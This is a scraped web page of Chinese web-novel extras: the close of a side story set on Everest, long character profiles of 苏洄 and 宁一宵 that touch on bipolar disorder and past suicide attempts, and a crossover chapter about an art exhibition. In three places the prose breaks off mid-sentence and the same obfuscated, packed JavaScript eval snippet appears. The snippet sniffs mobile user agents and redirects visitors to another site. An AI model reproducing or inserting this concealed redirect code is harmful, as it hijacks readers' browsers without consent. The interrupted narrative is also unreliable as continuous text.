再后来,他跟随一个测绘队伍攀上珠穆朗玛峰,去测量这座山峰最新的高度,但他们遇到了极端恶劣的大雪,队伍无法继续前进,也无法返回。 他们被困在雪山整整一天一夜。 这其中宋煜想到了很多,大多关于乐知时。有的队员远不及他心理素质这样过硬,也有的开玩笑说,“咱们不会死在这里吧。” 宋煜和往常一样寡言,没有回应,但他心中却想,如果现代通讯没有这样发达就好了,不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727023|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现事故之后,各个媒体轮番报道,虽然这听上去很自私。 如果真的永远睡在这里,他希望乐知时永远不要知道这个消息。 在这座地球表面最高的山上,向来信奉唯物主义的宋煜,学着像那个藏族母亲一样闭上眼对着风雪祈祷,他的愿望为了自己的父母,也为了乐知时,唯独没有自己。 再睁开眼,宋煜很忽然地想到乐知时小时候那么喜欢的宇航员玩具,还缠着他给他提出做宇航员这么难这么难的要求,让他去给自己摘星星。可当他站在珠穆朗玛的时候,好想对乐知时说,我没办法成为宇航员,可我现在就站在地球上离夜空最近的地方,还是不能帮你摘星星。 或许是天上的乐奕认为他们这支队伍做的是正确的事,所以在这件事上非常慈悲地对待了宋煜,让他跟随别人平安下了山,所有人都在和自己的家人报平安,有的欣喜若狂,有的流下劫后余生的眼泪。 只有宋煜格格不入地、安静地站在他们中间,手里握着一枚属于珠穆朗玛峰的、平凡的石头。 16. 【悬日】一洄人物小传 【这是人物小传,是开文前写的,目的是提前了解人物方便后续写正文,但随着一些大纲的变动和正文的写作,人物小传的内容会跟着增添删改,所以有些地方是和现在大家看到的剧情不一致的】 【没看过正文的,这里有大量剧透,建议先看正文】 【其他文也都写过人物小传,都是开文前写的,有的和正文已经是完全两个角色了,而且写得也很乱,所以都只是截图发在网上,悬日这本比较规整,几乎也没有大的人物改动,所以直接全部发出来啦】 苏洄: 基本信息: 生日是2月28日,三月前的一天,双鱼座,身高178cm,很苍白,大眼睛,唇色很淡,天生的笑眼,但是不笑的时候看上去冷冷清清的,有点忧郁,因为恋痛会喜欢穿孔,有舌钉、耳钉和脐钉,喜欢穿蓝色的衣服,漂亮且很有少年感。 生长纹模糊,感情纹也只有一半,算命的人说他这辈子很苦,也很短。 家庭条件很好,可望不可及的家世,亲生父亲是经商的,但是因为英年早逝,母亲辞职接管了之前的公司,被迫成长起来,成为女强人,但同时也会因为极端父权家庭被矮化,过得极为矛盾。母亲的压迫循环到苏洄身上,他成为整个家庭最大最重的压迫点。叔叔患有精神疾病,所以外祖父其实是有点看不上他亲生父亲的,后来父亲死了,母亲又爱上了一个男人,也就是他的继父,继父通过他家的关系也前途大好,后来为了夺走他们家的财产破坏了整个家庭,也毁了苏洄(苏洄一开始就不喜欢他) “他让我买他开过光的手串和护身符,可以辟邪,我没有买,他说我会有厄运,我说有就有吧,我也活够了。” 性格: 十四岁左右的时间察觉出有心理疾病,但当时家里人并不在意,且认为这种病会影响他们的名声,觉得并不重要,所以当时被当做是抑郁症治疗的(是外祖父找的一个所谓的认识的心理医生),由于误诊,苏洄的病情变得很严重,高三的时候还休学了半年,后来靠着狂躁期的劲头没日没夜地学,但是因为他的病,他们家里的人不允许他在外省上学,所以他上了本地的大学,在大学里遇到了宁一宵。 他的性格其实是很善良温和的,但是由于生病,经常在两个极端里反复,狂躁阶段整个人都非常亢奋,会情绪激动,过度自信,表达欲极度旺盛,语速快,思绪混乱,说话没有条理。 但是在抑郁期,他会非常消沉,不愿意出门,严重的时候哪怕下床都很难,动也不能动,甚至是产生幻觉和解离。每当他犯病的时候,整个人的状态就会很差,哪怕是躁狂期过后,他都会因为自己的冲动而感到后悔,从而陷入情绪反刍。 早在青少年期就想过伤害自己。 有一种独特的吸引人的魅力,是他自己也感觉不到的,而且由于他多变的情绪,在很多时候他都会显得非常热情,直白,毫无顾虑,这一点也撬动了宁一宵的防线。 而且因为从小家境很好,又沉浸在艺术世界里,所以显得有些不食人间烟火。(一个桥段是他带宁一宵看代表自己内心世界的秘密基地,还有他约会时看到餐厅里有钢琴,所以自己主动上去弹了一曲,那个时候餐厅已经快要打烊了,整个餐厅只有他们两个人,他弹了之后笑着看向宁一宵) 破镜几年后,他经历了很多,失去了优渥的家庭条件,包括他的家人,他的学历,甚至连一张可以证明自己身份的证件都没有。他没有钱治病,没有钱吃饭,所以去打工,又遇到了很多坏人,所以整个人的状态和病情都发生了很大的转变,他从长时间的躁狂期+短时期的严重抑郁,转变成长时间的抑郁期+短时间的躁期,学会了自己做饭,变得很节俭,尤其在他找到了自己的外婆之后,每一分钱都花得很小心。 他一共自杀过三次,一次是十四岁确诊之后,他无法接受自己得了这样的病,选择轻生,但被救了下来,那是他第一次学会写遗书,还分配了自己不多的财产,一半给了外婆,一半的一半给妈妈,剩下的捐给了流浪动物保护基地。 第二次,在他和宁一宵相遇之前,他难得来上了课,还给同学们买了很多吃的喝的,遇到宁一宵后,他暂时搁浅了自己的自杀计划。 (第一次见面的时候,他的脖子上还有一点红色的痕迹。) 第三次是他精神病院出来之后,怎么都找不到宁一宵,依靠幻觉生存,幻觉里的宁一宵变老了,死去了,于是苏洄打算殉情,但被抢救回来了。 怪癖: 喜欢花花草草和小动物,尤其是蝴蝶和小狗,喜欢大海,爱喝酒(喝酒会让他暂时忘记自己在生病的事实),躁狂期喜欢买东西,特别喜欢买书,喜欢自言自语,看路边的花,无所事事地坐在路边吹风。 遇到喜欢的人会缠上去,和他说很多话,恨不得把自己的心掏出来给他看,让他百分百明确他是什么样的人,但郁期的时候就不敢露面,怕对方讨厌他。 “像一株名贵的漂亮植物,需要阳光、水和爱,无时无刻都亟需照料,否则很容易枯死。你想要欣赏他的美丽,就必须接受他随时可能枯死在面前的残酷事实。” 宁一宵: 基本信息: 生日:12月24日平安夜,身高189cm,看起来很阳光,但其实脸上的笑是伪装,手臂上的皮肤是晒过的麦色,轮廓立体,线条锐利,气质很冷,不笑的时候气场很强,自带生人勿近的边界感,但过去的他会选择模糊这种边界感(青少年时期为了合群,会对着镜子练习笑容)。 性格: 外热内冷、一生要强,利己主义。 由于小时候就目睹母亲和很多人来往,童年并不快乐,且知道了自己的名字的来由,于是更加厌恶性关系,也不太相信爱情。 从小就很独立,也学会察言观色,因为青少年时期很穷,也被排挤过,所以那个阶段的他很自卑,但也学会了如何社交,如何让大家喜欢他,大学时期社交手段很娴熟,知道怎么才能往上爬,获得朋友和资源,所以外表上他看起来是个容易接近的人,实际上心防极高,目的性很强。 人生规划非常清晰,自律,知道怎么样可以一步步实现自己的愿景,精致的利己主义,思考问题的所有出发点几乎都是,这样做是不是会有利于我自己。 工作能力非常强,数学很好,学习很刻苦(因为没有钱补习),观察力很强,善于模仿,细节记忆里很好,但其实不太会共情,也不太会安慰别人,倾向于去想象最坏的结果,讨厌难以捉摸的人,喜欢有逻辑的一切,讨厌风险。 谁也没有办法阻止他前进的脚步,哪怕是伤痕累累,也会继续向前。 真正的性格其实是有点叛逆,现实,冷漠的,倔强嘴硬,无法依赖他人,占有欲强,边界感非常强,讨厌有人入侵自己的心理防线。但对待感情很专一,非常念旧。后来因为苏洄的离开变得更加孤僻,连演出那种阳光的样子都做不出来,一门心思工作,成为工作狂。 猎手类型的人:在平常会伪装出一种友善无所谓的样子,看起来很好下手,其实是真正的猎手,在明确目标之前会处于被动等待的状态,一旦明确了目标,就会不惜一切代价得到自己想得到的东西,会根据情况调整策略,必要时直接出击。 怪癖: 看起来心很硬,其实会很关心流浪的小动物,后来抚养了一只曾经被人抛弃的瘸腿儿小狗,用苏洄第一次送他的花命名(冰岛雪糕)。 很没有安全感,极度没有安全感,会很害怕别人离开,所以睡觉的时候一定要抱着对方,需要牵手,做的时候喜欢看着对方的脸和眼睛。看上去冷冷的,但其实非常非常喜欢拥抱和亲吻。 会经常盯着苏洄送给他的小猫玩偶,偶尔也会抱一下,摸一下(但怕搞坏了所以大部分时间盯着看而已) 因为童年经历,有强迫症,总觉得自己身上不够干净,会不自觉洗手,而且会很讨厌事情超出自己的控制,一旦如此就会不可控地胡思乱想。 (所以有时候手干干的,苏洄有一次从自己的包里拿出了一管护手霜,挤出来用自己的手给宁一宵擦护手霜。) 人物采访 苏洄 他喜欢自己的名字吗:以前谈不上喜不喜欢,后来经历得多了就喜欢了 他的名字对他有什么特殊意义:溯洄从之,道阻且长(父亲起的名字,希望他的人生能逆流而上),洄字意为回流的水,预示苏洄兜兜转转还是会回到从前,还是会再次遇见宁一宵。 基本信息 生日:2月28日 出生地:北京 父母:父亲苏晋,母亲季亚楠 兄弟姐妹:无 成长环境:无论是社会地位还是经济条件来说,都非常优渥,但处在末路,因为外祖父退休,目前是继父的事业蒸蒸日上 民族:汉族 住过的地方:一直在北京 现居住地:纽约 教育背景:T大金融系本科生 上学时最喜欢的科目:语文、美术、政治 特长:擅长幻想,具有艺术天分 职业:后来成为了一名装置艺术家 薪酬:不稳定 旅行:期待去冰岛(将其视为自己最佳的去世地点) 朋友:大学时期朋友很少,只有家世相近的一些朋友(佟桐),后来去了美国,结识了怀特教授和精神科医生梁温 和谁住过:宁一宵,怀特教授夫妇,外婆 和谁起过争执:梁温 大家对他的评价:纯真、迷人、阴郁、热烈,脆弱、偏执 敌人: 以外祖父为代表的极端父权主义,以及他自身疾病导致的自我厌弃 人生观 信仰:热爱有生命力的一切 他喜欢自己吗:不太喜欢,他很清楚地知道自己身上的一些优势,比如皮囊外表,还有从出生就有的物质条件,但他认为自己的内里是在慢慢腐烂的,是无法稳定的存在,非常危险。 如果可能的话,他想改变自己的是:完全地摆脱双相情感障碍,做个正常人。 他无法摆脱的心魔是:双相 他有没有欺骗自己:有,当他和宁一宵的爱情走投无路时,他欺骗自己只要放过他,宁一宵就可以前程似锦,而他自己即便独自度过未来也不会遗憾。 乐观/悲观:悲观 道德水准:很高,某种程度上有种道德强迫症,非常讨厌自己做出不正确的事,每当轻躁狂时期做了很过分的事,事后会非常懊恼 自信程度:有浮动,抑郁期非常自卑,轻躁狂时期又会自信 特别的日子:遇到宁一宵的日子,也是他打算自杀的一天;宁一宵的生日;在精神病院反抗他们遭受连续四次电击的那一天 外貌 体型:纤瘦 仪态:抑郁时期经常低着头,喜欢戴帽子戴口罩挡住自己,裹得很紧,轻躁狂时期喜欢穿一些鲜艳醒目的衣服,甚至是奇装异服(舌钉之类的东西都戴上) 眼睛:琥珀色 鼻子:挺拔微翘 嘴巴:很柔和的玫瑰色,脸上唯一最富有血色的地方 头发:黑色,柔软 皮肤:很白,没有血色 纹身/穿孔/伤疤:都有,纹身是后来学的,第一次尝试纹身就是给自己腰部纹了一个more than one night,然后邀请了宁一宵。穿孔是以前轻躁狂时期去穿了耳钉,还有舌钉(认为穿孔的瞬间,自己身体里的一部分就死掉了,但整体还活着,是一种奇妙的体验),伤疤是之前尝试自杀的时候留下的,原本他的家庭希望他可以做整容手术把疤痕去掉,但苏洄拒绝,他认为一切痕迹都应该被留下 声音:很柔和的少年音 衣着:随着他的病情有着不同的风格,抑郁时期喜欢穿很多,把自己裹起来,不觉得热,躁狂时期会选择非常张扬的风格 人们会首先注意到他什么:脸,有一张非常漂亮的脸 他会如何描述自己:一个很不可控的人 健康状态:患有双相 性格 人格类型:infp 性格的坚强之处:面对爱情非常坚定,会努力地抗争 性格的软弱之处:太过于为他人着想 自我控制能力如何:不自律 他会因什么而愤怒:家人对他病情的漠视,或者说故意隐瞒,以及对他的圈养,令他感觉自己像个在套子里生活的人 他会因什么而悲伤:很多事,非常多,其中之最是宁一宵 恐惧:宁一宵因为他而无法逃脱贫苦的现状 他避免同哪些人接触,不想去哪些场合:讨厌应酬的场合,不喜欢和人产生非你情我愿的社交关系 天赋:艺术 人们最喜欢他的地方是:一种捉摸不透的魅力和显而易见的美 兴趣爱好 收藏:他在一个废弃的仓库收藏了自己做的艺术装置,并带着宁一宵去看 最喜欢的食物:蒸鸡蛋 最喜欢的饮品:酒 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727024|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢的音乐:躁期喜欢摇滚、慢摇,郁期什么都不喜欢 最喜欢的书:太多了,最近是《天黑以后》 最喜欢的电影:《星际穿越》和《海边的曼彻斯特》 最喜欢的运动/娱乐活动:不喜欢运动 最喜欢的颜色:海蓝色和草绿色 最期待以怎样的方式度过周末:和喜欢的人一起看电影,分享一块蛋糕 他会喜欢怎样的礼物:恋人的手写信 宠物:没有,之前不让养,后来养不起 交通工具:汽车 口头禅/标志性动作:说话时亲昵的小尾音,张开双臂拥抱风的动作 最常用的面部表情:很浅的微笑 嗜好:抽烟,喝酒,养花 对什么嗤之以鼻:金钱和权利 希望与梦想:追求艺术,创造艺术 他对别人做过最糟糕的事:发病的时候吃掉了隔壁桌拿的旋转寿司 最了不起的成就:很努力地活下来,并且找回了失去的一切,成为了一个优秀的装置艺术家 最严重的创伤:在精神病院的两年,和宁一宵的分别 最在意的:宁一宵的未来 秘密:决定独自离开的理由 核心需求:宁一宵的爱 宁一宵 他喜欢自己的名字吗:很讨厌,后来因为苏洄喜欢了 他的名字对他有什么特殊意义:是母亲不管不顾的爱情的象征,为了她所谓的爱情迷失和疯狂,悲惨地过了一生。这个名字连同宁一宵本身都是母亲爱情的牺牲品。后来这个名字的意义完全被苏洄所覆盖,成为他们之间的一个希望 基本信息 生日:12月24日 出生地:一个贫困小渔村 父母:生父不详,母亲秦月 对母亲而言:爱情最重要,超越了她自己和她的孩子,她做的一切都是为了找回她的爱情(这是宁一宵一直认为的),但母亲其实也为了他努力挣钱生活,把他养大,为他也付出一切 兄弟姐妹:无 成长环境:在很穷的小渔村长大,物质条件很差,所以听到苏洄说想看海的时候,心里并不喜欢,甚至有些排斥海 民族:汉族 住过的地方:小渔村,镇,北京 现居住地:旧金山 教育背景:T大计算机系本科生,S大研究生 上学时最喜欢的科目:数学 特长:计算机研发 职业:后来成为硅谷新贵 薪酬:百亿资产 旅行:想和苏洄一起去冰岛 朋友:朋友看起来很多,人缘极好,但其实真正的朋友就一个 和谁住过:无 和谁起过争执:无 大家对他的评价:阳光,善良,正直,友善,能力强 敌人: 季家人对他的排斥和阻碍,他自己的童年创伤 人生观 信仰:逃离泥泞不堪的现实,获得成功,成为人上人 他喜欢自己吗:不太喜欢,他知道自己很物质,很现实,并且时刻被虚无主义侵袭 如果可能的话,他想改变自己的是:出生在一个健全健康的家庭 他无法摆脱的心魔是:童年青少年时期的回忆,苏洄的离开 他有没有欺骗自己:有,骗自己不爱苏洄 乐观/悲观:悲观 道德水准:普通,属于精致的利己主义者(除了对苏洄) 自信程度:看起来很正常,其实很自卑 特别的日子:遇到苏洄的日子 外貌 体型:高大,瘦削 仪态:阳光 眼睛:深黑色 鼻子:挺拔 嘴巴:薄唇 头发:很浓的黑色 皮肤:偏麦色 纹身/穿孔/伤疤:没有纹身和穿孔,伤疤有,车祸留下的伤痕 声音:低沉的,冷的音色 衣着:低调,上学时期很穷,负债,几乎没有买过几件新衣服 人们会首先注意到他什么:脸,很英俊,还有身高 他会如何描述自己:活得很累,也很无趣 健康状态:强迫症,喜欢不停地洗手,认为自己身上有鱼腥味 性格 人格类型:istj 性格的坚强之处:面对悲惨命运会不断地抗争,非常顽强有生命力 性格的软弱之处:不相信世界上有真正的完美的爱情,不相信其他人 自我控制能力如何:极端自律 他会因什么而愤怒:母亲的离开,被抛弃 他会因什么而悲伤:苏洄 恐惧:开车,苏洄离开,无法成功 他避免同哪些人接触,不想去哪些场合:讨厌应酬的场合,不喜欢和人产生非你情我愿的社交关系,但也会为了自己的事业伪装出愿意的样子 天赋:解决问题 人们最喜欢他的地方是:沉稳,能力强,亲和力高(假的),工作时很有魅力 兴趣爱好 收藏:苏洄的作品,苏洄喜欢的房子,苏洄喜欢的花园 最喜欢的食物:没有特别喜欢的食物,很讨厌海鲜,本来也讨厌樱桃,但因为苏洄喜欢上了,最后又因为苏洄避免吃樱桃 最喜欢的饮品:咖啡 最喜欢的音乐:钢琴曲 最喜欢的书:《长日将尽》 最喜欢的电影:布达佩斯大饭店 最喜欢的运动/娱乐活动:游泳 最喜欢的颜色:蓝色 最期待以怎样的方式度过周末:和苏洄躺在床上 他会喜欢怎样的礼物:苏洄给他的一切 宠物:雪糕(一只被弃养过的杜宾犬) 交通工具:汽车 口头禅/标志性动作:洗手 最常用的面部表情:以前是假笑,六年后是无表情 嗜好:挣钱 对什么嗤之以鼻:爱情(曾经) 希望与梦想:实现阶级跃升 他对别人做过最糟糕的事:完全地切断了与其母亲的联系,在被她再次抛弃后,对这件事他一直耿耿于怀 最了不起的成就:很努力创业,实现了理想 最严重的创伤:被母亲和苏洄“抛弃” 最在意的:苏洄的快乐和健康 秘密:从来不知道父亲的真实姓名 核心需求:苏洄的爱 17. 一洄x自习 苏洄的全美个展巡回开启后,带来的效益远超投资方的预估,于是借着居高不下的热度,他们随即拍板,打算拓展巡回版图。 凯莎出于对苏洄本人文化背景的考量,建议选址在他的祖国,这一想法与苏洄不谋而合,于是凯莎立刻联系到中国的各个艺术馆,询问他们的意向。 巧的是,在决定要在国内举办巡演的当天,苏洄应粉丝要求开了一个小时的直播,其实大部分时间里,他都在改手稿和纯聊天,许多人并不了解装置艺术,苏洄便很耐心地讲解。 [不行,我完全听不进去Eddy讲课,我只想看他的脸lol] [怎么会这么好看啊] [感受到Eddy之前带的学生的快乐了] 苏洄一抬头,看向弹幕,眯了眯眼,抿嘴唇假装生气。 “你们真的没有在认真听,那我不讲了。” [讲讲讲,我们在认真听!] [Eddy不要下线!可以多聊一会儿吗?] [艺术家皱鼻子好可爱啊] [诶有人连着投了好多礼物啊,舰艇诶] [草,十个舰艇,我记得一个要一万吧,真有钱] 苏洄也注意到,他盯了盯快速滚动的弹幕,又找了半天礼物栏,忙说:“不要给我送礼物哦,我不需要,这个怎么关闭啊……” 屏幕上飘过一条留言,正巧就是方才送礼物的那个ID。 [Buonasera!] 正巧最近苏洄看了许多意大利的电影,一下子就认出来这是意语的“晚上好”,笑着也回了一个,“Buonasera!是意大利的朋友吗?” 那个ID又一次出现,只不过这次却是中文。 [中国人,晚上好小艺术家[爱心]] 很快,弹幕里有人注意到对方的ID。 [这个ID……TSingS,不会是我想的那个人吧?] [啊啊啊啊是习清吗?!] [草草草双厨狂喜!?] “习清……”苏洄盯着屏幕念出声,很快便突然反应过来,“是那位油画画家夏习清吗?” [Eddy人在国外竟然知道?] [毕竟也算是有重叠的圈子吧] [呜呜呜好开心,我喜欢的小艺术家认识我喜欢的画家] “我有看过你的画展诶,不过是线上。”苏洄脸上笑意柔和,带着一点和新朋友对话的小兴奋,很乖巧地伸手,对着镜头小幅度挥了挥,“没想到能以这样的方式认识你,好巧啊。” [TsingS:不巧,我是有预谋的~] [不是,突然有点好磕(对不起创始人了] [ZZH:你也对不起我] [Eddy挥手手好可爱哦,像小猫咪伸爪子] 直播结束之后,两个人通过直播账号交换了联系方式,苏洄很开心,由于在躁期,他非常享受结识朋友的快乐,所以关闭直播后直接和夏习清打了视频电话。 这一操作连一向擅长社交的夏习清都有些措手不及。 “没想到你会直接打给我,头一次碰到这么主动的。”夏习清在家画画,还戴着周自珩的黑框装饰眼镜,姿态懒散,比平日里多几分学生气。 苏洄戴着冷帽,抓了抓帽沿,脸上是完全不生疏的真诚笑容,“我也没想到你会来看我的直播啊,我很喜欢你的画,之前还想收藏的,但是一直没机会去参加你的画展。” “量有点少,最近办展也少了。”夏习清被他的笑容所感染,于是也摒弃了一贯弯弯绕绕的言语习惯,“平时你朋友都怎么叫你?” 苏洄愣了愣,“嗯……Eddy,或者小洄。” 其实最常听到的昵称是小猫,可是是某人专属。 “小洄,这个昵称很可爱。”夏习清笑了笑,开门见山提出邀请,“我有一个美术馆,在北京,听说你最近在征集艺术馆做国内巡展,我很希望首展可以由我提供展厅。” 说完他挑了挑眉,露出笑容,“我保证,你会很喜欢这座美术馆的。” 夏习清说话有种天然的蛊惑意味,而苏洄偏偏又处在不假思索的阶段里,所以几乎没犹豫,直接就同意了。 “好啊。”苏洄的语气总带着孩子气,“你还有一座自己的美术馆吗?好酷。” “酷吗?我妈留给我的。”夏习清笑了,给他发了很多馆内的视频。 由于是很想合作的艺术家,夏习清收敛了平日的纨绔做派,拿出工作时的认真架势,苏洄反倒轻松又热烈,全然一副交朋友的态度。 兴趣一致,审美也惊人地合拍,两人很是投机,聊了足足两个小时,一直到电话那头夏习清家里有人回家。 苏洄见他扭头往外面望了一眼,听到他叫“宝贝”,语气变得比方才更轻松和甜蜜,猜到什么,于是很识相地挂断了通话。 这样一次奇妙的交友,苏洄当然也颇为兴奋地分享给宁一宵,而宁一宵一边听,一边在手机上搜索了夏习清的名字,自然也了解到他和当红年轻影帝惊世骇俗的爱情故事。 他锁了屏,用很认真的语气对苏洄说,“我们身边的gay可真不少。” 不知这句话哪里戳中了苏洄的笑点,他笑个不停,直往宁一宵肩上趴。 宁一宵腾出一只手摸他的头,又低头看了一眼大明星和画家的恋爱新闻,低声自言自语,“这样也好。” “一宵,你说我话太多会不会吓到新交的朋友啊。”苏洄靠在宁一宵怀里问。 宁一宵亲了亲他的发顶,“第一次打视频就能聊这么久,应该挺喜欢你的。” “小狗说得对。” 苏洄刚点头,就被宁一宵捏了脸。 “再说一遍。” 苏洄立刻改口,“老公说得对!” 就这样,在苏洄的坚持下,国内巡展的起点站便定在了夏习清的Pulito美术馆。国内的首展对苏洄意义重大,宁一宵也特地压缩了工作,特地抽出空档陪他一起回国。 和上一次回国的心情截然不同,但毕竟也是工作,苏洄态度很是积极,和凯莎提前抵达了美术馆。 这里的装潢简约精美,也已经按照之前敲定的方案安排团队进行了重新布置,成品基本还原了效果图,而夏习清本人也特意过来,帮苏洄一起做装置艺术的组装和收尾工作。 一听到夏习清的声音,正站在梯子上做调整的苏洄便回过头,热情地冲他挥手,“嗨!你来得好快呀,我还以为至少要二十分钟呢。” “我家就住在附近,十五分钟车程。”夏习清把墨镜往上一推,见他站那么高,边朝他走边提醒,“小心点儿,当心摔下来。” 他不禁开玩笑,“我这儿地板质量可好得很,这要是摔一跤,明天开展你估计得打着石膏过来了。” 苏洄被他逗笑了,几步便从梯子上下来,最后蹦了一下,转身凑到夏习清脸跟前。 “怎么了?”夏习清挑挑眉,懒懒道,“我脸上有东西?” 苏洄摇头的时候银色耳坠也跟着晃,他笑了,“没有啊,就是觉得你很好看。” 夏习清怔了怔,心情非常之奇妙,“怎么感觉我好像被抢了台词……” 以往明明都是他主动出击。 “什么?”苏洄懵懂不解。 “没什么。”夏习清挑挑眉,故意逗他,“那你觉得我哪儿好看啊?” 苏洄认真打量他的脸,“眼睛?还有这里。”他隔空指了指夏习清的鼻尖,笑着说,“我和你打视频的时候就注意到了,你鼻尖有一颗痣,长得很妙。” 这话还真是熟悉。 夏习清转念一想,自己当初在节目上调戏方觉夏好像也是差不多的话术,只不过眼前这位小艺术家一脸真诚,倒让他这个老手有些措手不及了。 “痣有什么妙的。”夏习清嘴角笑意未减,从一旁的美术馆工作人员手里接过两瓶水,一瓶递给苏洄,自己拧开喝了一口。 苏洄接过水,“可能是因为我老公有一颗泪痣,我很喜欢,所以平时也会格外在意别人的脸上是不是也有这样的小标记。” 听到“老公”这个词,夏习清一愣。 “这是爱称还是……” “我已经结婚了!”苏洄展示了一下自己的戒指,“不过还算是新手期?他其实也来了,不过现在还在酒店处理工作,明天开展他会陪我来的,到时候介绍你们认识啊。” “这么早就结婚了?”夏习清着实是没太想到,“什么样的人能泡到你这么漂亮的小可爱啊?” 苏洄一下子笑了出来,“其实……最开始是我泡他啦。” 夏习清挑了挑眉。 “我倒是真有点儿好奇了。” 开展的那一天,他见到了苏洄的爱人,对方穿得很低调,深灰色大衣配牛仔裤,还戴着黑色棒球帽,看上去很像是大学生,不过偶一抬头的眼神,倒确实能看出上市科技公司创始人的气场。 展览之前苏洄照例接受了采访,作为场馆负责人的夏习清也被提了几个问题,结束后,两个人便站在一层的主展品前合影。 夏习清稍稍往后一瞥,便看到不远处盯着他们的眼神。 “你老公好正经啊。” 苏洄也望过去,眼带笑意,“是吗?”他压低了声音,“看起来有点儿吧,长相原因,私底下可不太正经。” 夏习清笑了出来,揽住苏洄肩膀,“那……我搭你肩膀,你老公不会吃醋吧?” 头一次这么逗已婚男,还真有点刺激。 苏洄面对合影的镜头,面带微笑道,“大概率会。” 说完他看到不远处又走来一个男人,也戴着棒球帽,还戴了口罩,但个子实在太高,即便如此也很扎眼。 对方的眼神始终落在他身旁的合作伙伴身上,一眼便知是视频电话里那个“宝贝”大明星。 果然,怕被狗仔拍到的男生都是一个打扮。 他俩还聊起来了。 “那个,是你的男朋友吧?”苏洄用肩膀轻轻碰了碰夏习清的。 “不是。” 苏洄有些惊讶,还以为自己猜错了,扭头看向夏习清。 夏习清勾唇笑道,“我是他老公。” “你是1啊?” 夏习清模棱两可,“这样说也没什么问题。” 苏洄扭头,对着大明星盯了许久,内心不禁深思。 好高的0啊。 另一头,宁一宵和周自珩也开始了交谈,之前虽然没见过面,但周自珩作为冲浪达人,早就在网上搜索到苏洄和宁一宵的恋爱事迹,一眼就认出这位年轻总裁。 因为是私人活动,宁一宵没带名片出门,两人便直接交换了联系方式,他低头保存备注。 周自珩随意点进去他的朋友圈,发现第一条就是昨天发的,是宁一宵在T大给苏洄拍的照片。 “诶?你昨天去T大了?” 听到周自珩的发问,宁一宵点头,“嗯,我们之前在那儿念的本科,苏洄想回去看看,昨天陪他逛了逛。” “你是T大的?” 周自珩一副好巧的表情,弄得宁一宵还以为遇到了校友,谁知他下一句竟是,“我男朋友的侄子也是T大的。” “你男朋友的……侄子?”宁一宵预判了一下他的年龄,又望了一眼不远处正在合影的夏习清,感觉自己的年龄预估系统出现了偏差。 “你男朋友看上去年纪不大,居然都有上大学的侄子了。” 周自珩听完直接笑了出来,“岂止是上大学,大学都毕业了,你是搞IT的是吧,那他好像还和你是一个专业的,八成是你学弟呢,就是不知道你俩认不认识。” 宁一宵随口一问,“叫什么名字?” “夏知许,认识吗?” 接收到这个信息的宁一宵消化了整整三十秒。 “夏知许是你男朋友的侄子?那你不就是夏知许的……” “叔父!”周自珩笑得有些嘚瑟,“哥们儿你可太上道了,不过其实我年纪比他小几岁。” 宁一宵抬了抬眉,轻笑一声,“真有意思。” “我都感觉你想说interesting了哈哈哈。” 辈分一抬高,周自珩心情又好了不少,看着自家小狐狸和别人打得火热也不上头了。 不过主要原因还是苏洄生得太漂亮,一看就不是夏习清的口味。 “得,我家这位又开始撩小朋友了。”周自珩看向宁一宵,打量片刻,很是佩服,“你居然还挺冷静,我每次看他这样都很头大,可能还是我比较小心眼儿吧,爱吃醋。” 宁一宵一本正经,“他们一看就撞号了。” 风险评估还是要做的。 “嗯……”周自珩停顿了片刻,如实道,“其实夏习清遇到我之前,一直是1。” 宁一宵皱了皱眉,扭头与他对视了一眼。 周自珩颇为沉重地点了点头。 宁一宵又笑了一下。 “夏家人真有意思。” 风险评估失败,他打算先把自家的热情小猫抓回来。 走过去的时候,苏洄正和夏习清聊得热火朝天,语速很快,“所以你还演过电影?天哪好酷,我超级超级爱看电影,如果不工作我可以一直窝在家里看电影。好神奇,你居然还当过演员,回去我就要去搜一下,就这一部吗?” 夏习清倒是非常敏锐地感知到了宁一宵的存在,见他故意放轻脚步走到苏洄身后,也没有拆穿,“是啊,就这一部,之后我也不想演了。” “啊?”苏洄露出可惜的表情,“演嘛,演戏多酷啊。” 刚说完,身后忽然传来最熟悉的声音。 “演戏多酷啊。” 苏洄一个激灵,转身便被宁一宵捉住手腕,“吓我一跳。” 宁一宵盯了他一眼,“聊得这么开心,怎么好意思打扰你?” 夏习清笑了。 醋劲儿确实不小。 想想两人已经已婚,夏习清也收了自己爱搅混水的神通,主动打了招呼。 “晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727025|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起吃饭?” 苏洄立刻点头应允,“好啊,我想吃烤鸭,行吗?” 作为东道主的夏习清懒懒笑道,“这有什么不行的呢?小艺术家就是想吃天鹅肉也得想想办法啊。” 